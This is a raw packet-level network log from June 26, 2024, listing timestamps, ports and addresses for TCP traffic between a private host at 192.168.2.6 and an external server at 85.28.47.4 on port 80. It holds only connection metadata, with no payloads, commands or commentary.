Jun 26, 2024 08:16:17.453016043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453032017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453046083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453061104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453075886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453083992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453083992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453092098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453109026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453154087 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453154087 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453629971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453690052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453705072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453720093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453735113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453756094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453778028 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453778028 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453795910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453811884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453825951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453840971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.453869104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453869104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.453905106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456696033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456711054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456724882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456749916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456763029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456773043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456801891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456818104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456832886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456834078 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456849098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456864119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456870079 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456890106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456913948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456913948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456916094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456938028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456953049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456957102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456965923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.456984043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.456991911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.457037926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538543940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538570881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538597107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538619995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538628101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538628101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538635015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538650990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538683891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538717985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538760900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538777113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538791895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538806915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538813114 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538821936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538837910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538873911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538875103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538897038 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538906097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538919926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538934946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538949013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538964033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538979053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.538980007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538997889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.538997889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539021015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539033890 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539061069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539081097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539084911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539123058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539139032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539149046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539164066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539165974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539180994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539191961 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539211035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539247036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539273024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539288998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539305925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539320946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539336920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539341927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539341927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539343119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539354086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539359093 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539401054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539401054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539410114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539439917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539450884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539455891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539472103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539488077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539500952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539500952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539522886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539541006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539554119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539568901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539602041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539628029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539889097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539926052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539933920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.539942980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.539979935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540019989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540023088 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540036917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540054083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540071011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540083885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540096998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540096998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540100098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540117025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540132046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540136099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540153980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540174007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540380955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540396929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540411949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540437937 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540437937 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540457010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540508986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540524006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540537119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540553093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540621996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540621996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540621996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540644884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540666103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540679932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540693998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540708065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540709019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540709019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540720940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540730000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540739059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540746927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540761948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540770054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540770054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540792942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540811062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540818930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540821075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540823936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.540824890 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540858984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.540887117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541347980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541380882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541393042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541395903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541421890 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541440010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541448116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541464090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541479111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541506052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541506052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541521072 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541536093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541552067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541567087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541580915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541590929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541618109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541635990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541652918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541686058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541701078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541702986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541717052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541733027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541743994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541743994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541748047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541758060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541764021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.541814089 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541815042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.541910887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543482065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543524027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543538094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543549061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543561935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543574095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543590069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543591022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543605089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543615103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543629885 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543643951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543647051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543685913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543689013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543701887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543736935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543742895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543764114 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543775082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543791056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543795109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543804884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543819904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.543831110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543831110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543852091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.543881893 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544056892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544107914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544137001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544137001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544152975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544167995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544181108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544181108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544204950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544204950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544281960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544327021 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544327974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544346094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544385910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544385910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544411898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544426918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544440985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544461012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.544462919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544462919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544503927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.544503927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.613709927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.613729000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.613744020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.613759041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.613775015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.613782883 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.613790035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.613806963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.613817930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.613821983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.613826990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.613874912 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.613874912 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.614998102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.615014076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.615056992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.615066051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.615072966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.615078926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.615089893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.615098000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.615108013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.615122080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.615137100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.615165949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.615165949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.619259119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.619292021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.619307041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.619332075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.619333029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.619364977 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.619390011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.619405031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.619420052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.619436026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.619453907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.619453907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.619476080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622123957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622147083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622179031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622193098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622195005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622220993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622227907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622227907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622245073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622258902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622260094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622260094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622275114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622294903 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622307062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622318029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622323036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622339010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622374058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622405052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622421026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622436047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622445107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622445107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622451067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622467041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622498989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622508049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622508049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622514963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622530937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622545958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622548103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622561932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622580051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622580051 CEST	80	49713	85.28.47.4	192.168.2.6
